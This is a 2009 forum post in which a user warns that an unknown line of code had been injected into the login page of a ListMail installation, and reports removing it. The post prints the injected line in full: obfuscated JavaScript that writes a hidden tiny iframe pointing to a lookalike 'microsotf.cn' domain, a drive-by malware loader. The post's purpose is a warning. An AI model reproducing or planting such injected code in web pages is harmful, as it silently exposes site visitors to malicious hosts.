Author Topic: Beware- Possible hacker-code added to log in pg for ListMail  (Read 2517 times)

antonz

  • Posts: 3
    • View Profile
Beware- Possible hacker-code added to log in pg for ListMail
« on: September 08, 2009, 08:23:26 am »
Could not log in to my account at ListMail for several weeks. I know little to nothing about php code or any code for that matter.

Kept getting this error when I tried to log in (I removed my site name for this thread and replaced with): (my site name)

Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';' in /(my site name)/listmail/login.php on line 148

After searching for help I learned that the following line of code was somehow added to my log in code in the ListMail folder on my server.

Person who helped me was on a board named hotscripts.com and said that it appeared to be a line of code that could only appear if some tried or had hacked in to my server. I'm alerting my server provider as well.

I deleted the entire line and I was able to log in as usual.

?>
<?php echo ''; ?><?php echo '<script>document.write("<if"+''+'ra'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+"roso"+'t'+''+'f.c'+"n"+'/'+"\" wid"+''+'th=1 he'+"igh"+''+'t'+"="+"2></i"+''+"f"+"ra"+''+""+''+"me"+'>');</script>'; ?><?php echo '<script>document.write("<"+'if'+''+'ra'+''+"me"+' sr'+"c=\"ht"+'t'+"p:"+''+"/"+''+'/mic'+"roso"+"tf"+''+'.c'+''+"n"+'/'+"\" wid"+''+"th=1 h"+"eigh"+''+'t'+"="+"2></i"+''+"fr"+"a"+''+""+''+"me"+'>');</script>'; ?>


AntonZ